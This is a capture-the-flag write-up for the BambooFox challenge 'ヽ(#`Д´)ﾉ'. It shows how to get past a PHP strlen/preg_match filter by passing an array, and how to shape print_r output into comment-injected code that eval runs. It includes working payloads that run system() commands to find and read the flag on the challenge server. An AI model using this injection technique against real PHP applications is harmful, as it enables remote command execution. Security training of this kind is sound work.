ヽ(#`Д´)ﾉ - BambooFox CTF

All we get this time is this line of code:

```
<?=highlight_file(__FILE__)&&strlen($🐱=$_GET['ヽ(#`Д´)/'])<0x0A&&!preg_match('/[a-z0-9`]/i',$🐱)&&eval(print_r($🐱,1));
```

These weird characters and emoticons seem intimidating at first but all the stand for is:
ヽ(#`Д´)ﾉ - our GET parameter
The cat emoticon - name of a variable, let's call it "cat variable"

What does the code do?

1. Copies content of the GET parameter into the variable
2. Checks that its length is <10 (0x0A)
3. That there are no letters or numbers
4. Prints the contents of the variable using print_r and then calls the eval function on its output

Our task is simple: Bypass the filters and inject some php code, something like "system('pwd')"

Let's first URL encode the GET parameter. We get**:**
%E3%83%BD(%23%60%D0%94%C2%B4)%EF%BE%89

Now, we just send some random input "_____":

http://chall.ctf.bamboofox.tw:9487/?%E3%83%BD(%23%60%D0%94%C2%B4)%EF%BE%89='_____'

```
<?=highlight_file(__FILE__)&&strlen($🐱=$_GET['ヽ(#`Д´)/'])<0x0A&&!preg_match('/[a-z0-9`]/i',$🐱)&&eval(print_r($🐱,1));
Warning: Use of undefined constant ____ - assumed '____' (this will throw an Error in a future version of PHP) in /var/www/html/index.php(1) : eval()'d code on line 1
```

We see that it passed all checks (shorter than 10 chars and no numbers/letters) and got to the eval function. "____" is not valid php code, so we got a "warning".

Everything seems quite 'normal' about the code except one thing. Why is it calling the print_r function?
If the actual code would be in the cat variable, there would be no need for the print_r function. You could use the print function or nothing at all. The difference is: What if the cat variable stores an array?

```
php > print($arr);
PHP Notice:  Array to string conversion in php shell code on line 1
Array
php > print_r($arr);
Array
(
    [0] => a
    [1] => b
    [2] => c
)
```

If we just call print on an array, we don't get its content. However, if we use print_r we get the whole array.

Can we put an array in the cat variable? Of course! Add square brackets:

ヽ(#`Д´)ﾉ=’abc’ ----> ヽ(#`Д´)ﾉ[]=’abc’

Injecting this, the content of the cat variable now is an array with one entry which is ‘abc’.

What about the length checks and preg_match?

strlen(<ARRAY>) returns 0 -> We're good!

How about preg_match?

```
php > if(!preg_match('/[a-z0-9`]/i',$arr))
php > echo ":-)";
PHP Warning:  preg_match() expects parameter 2 to be string, array given in php shell code on line 1
:-)
```

-> **:-)**

But now we are facing a different problem:

```
<?=highlight_file(__FILE__)&&strlen($🐱=$_GET['ヽ(#`Д´)/'])<0x0A&&!preg_match('/[a-z0-
9`]/i',$🐱)&&eval(print_r($🐱,1));
```

Warning: strlen() expects parameter 1 to be string, array given in **/var/www/html/index.php** on line **1**

Warning: preg_match() expects parameter 2 to be string, array given in **/var/www/html/index.php** on line **1**

Parse error: syntax error, unexpected ')' in **/var/www/html/index.php(1) : eval()'d code** on line **4**

What's happening?

The eval function tries to run the code it is given, which is:

```
Array
(
    [0] => abc
)
```

That is obviously not legal php code. Subsequently we get the Parse error.

To make this code valid we could do something like this

```
Array
(
      [/*] => */]);system('pwd');/*
)
```

This on the other hand is valid php code. Let's take it apart:

1. Array([]); (everything within /* */ is a comment and is ignored)
2. system('pwd');
3. The rest is commented out with /*

Running *Array([]);* we don't get any errors:

```
php > Array([]);
php >
```

Therefore, valid.

system('pwd'); is the command we try to inject, therefore also valid.

The rest (the closing parenthesis) is commented out and also valid

How do we inject this whole piece of code?

```
payload1 = """/*"""
payload2 = """*/]);system('pwd');/*"""

url = f"http://chall.ctf.bamboofox.tw:9487/?%E3%83%BD(%23%60%D0%94%C2%B4)%EF%BE%89[{payload1}]={payload2}"
res = requests.get(url)

print(res.text)
```

After getting the output of *pwd* we are sure that this injection works. We did the same search as in the other web challenge:

```
payload1 = """/*"""
payload2 = """*/]);system('find / | grep flag');/*"""
```

And found the flag at this location:

```
payload1 = """/*"""
payload2 = """*/]);system('cat /flag_de42537a7dd854f4ce27234a103d4362');/*"""
```

Executing the script with this payload we get the flag.